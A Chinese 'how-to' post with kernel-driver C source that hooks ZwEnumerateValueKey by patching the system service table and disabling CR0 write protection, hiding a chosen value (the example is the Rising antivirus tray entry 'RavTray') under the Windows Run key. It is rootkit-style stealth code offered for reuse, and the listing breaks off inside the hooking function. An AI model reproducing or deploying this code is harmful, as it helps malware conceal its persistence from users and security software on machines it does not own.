教你躲藏注册表的键值[网络技术]

通过HOOK ZwEnumerateValueKey来实现
#include <ntddk.h>
#include <stdio.h>

//定义ObQueryNameString
NTSYSAPI NTSTATUS NTAPI ObQueryNameString(
IN PVOID Object,
OUT PVOID ObjectNameInfo,
IN ULONG Length,
OUT PULONG ReturnLength
);

//定义ZwEnumerateValueKey
NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);

//定义要Hook的API函数原型                     
NTSTATUS MyZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);                     

//声明函数指针,并且函数返回值为NTSTATUS范例                   
typedef NTSTATUS (*REALZWENUMERATEVALUEKEY)(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);                     

REALZWENUMERATEVALUEKEY RealZwEnumerateValueKey=NULL;

//这就是要躲藏的键值,这里我躲藏的键值是瑞星杀毒软件的启动项,你也可以改成别的
PWSTR HideValue=L"RavTray";  

#pragma pack(1)
typedef struct ServiceDescriptorEntry{
unsigned int  *ServiceTableBase;
unsigned int  *ServiceCounterTableBase;
unsigned int  *NumberOfServices;
unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragma pack() 

_declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

#define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)] 

NTSTATUS HookApi();
NTSTATUS UnHook();
PVOID GetPointer(HANDLE handle);
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject);

PVOID GetPointer(HANDLE handle)
{
PVOID pKey;
if(!handle) return NULL;
if (ObReferenceObjectByHandle(handle,0,NULL,KernelMode,&pKey,NULL)!=STATUS_SUCCESS)
{
pKey=NULL;
}
return pKey;
}

NTSTATUS MyZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
)
{
PVOID pKey;
UNICODE_STRING *pUniName;
ULONG actuallen;
UNICODE_STRING uStrValueName;
ANSI_STRING keyname;
NTSTATUS status;
PWSTR ValueName;
ULONG NameLen;

status=((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength);
pKey=GetPointer(KeyHandle); 

if (pKey)
{
pUniName=ExAllocatePool(NonPagedPool,1024*2);
pUniName->MaximumLength=512*2;
memset(pUniName,0,pUniName->MaximumLength);
if(NT_SUCCESS(ObQueryNameString(pKey,pUniName,512*2,&actuallen)))
{
RtlUnicodeStringToAnsiString(&keyname,pUniName,TRUE);   

DbgPrint("%ws\n",pUniName->Buffer); 
keyname.Buffer=_strupr(keyname.Buffer);

if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN")==0)
{
ValueName =((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name; 
if (ValueName!=NULL&&wcsstr(ValueName,HideValue)!=NULL)
{
Index++;
ValueName=NULL;
return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength);
}
//DbgPrint("ValueName=%ws\n",ValueName); 

}
}
}

return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength);

}

NTSTATUS HookApi()
{
RealZwEnumerateValueKey = (REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey);
_asm{
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey)=MyZwEnumerateValueKey;
_asm{

mov eax,cr0
or eax,10000h
mov cr0,eax
}
return( STATUS_SUCCESS );

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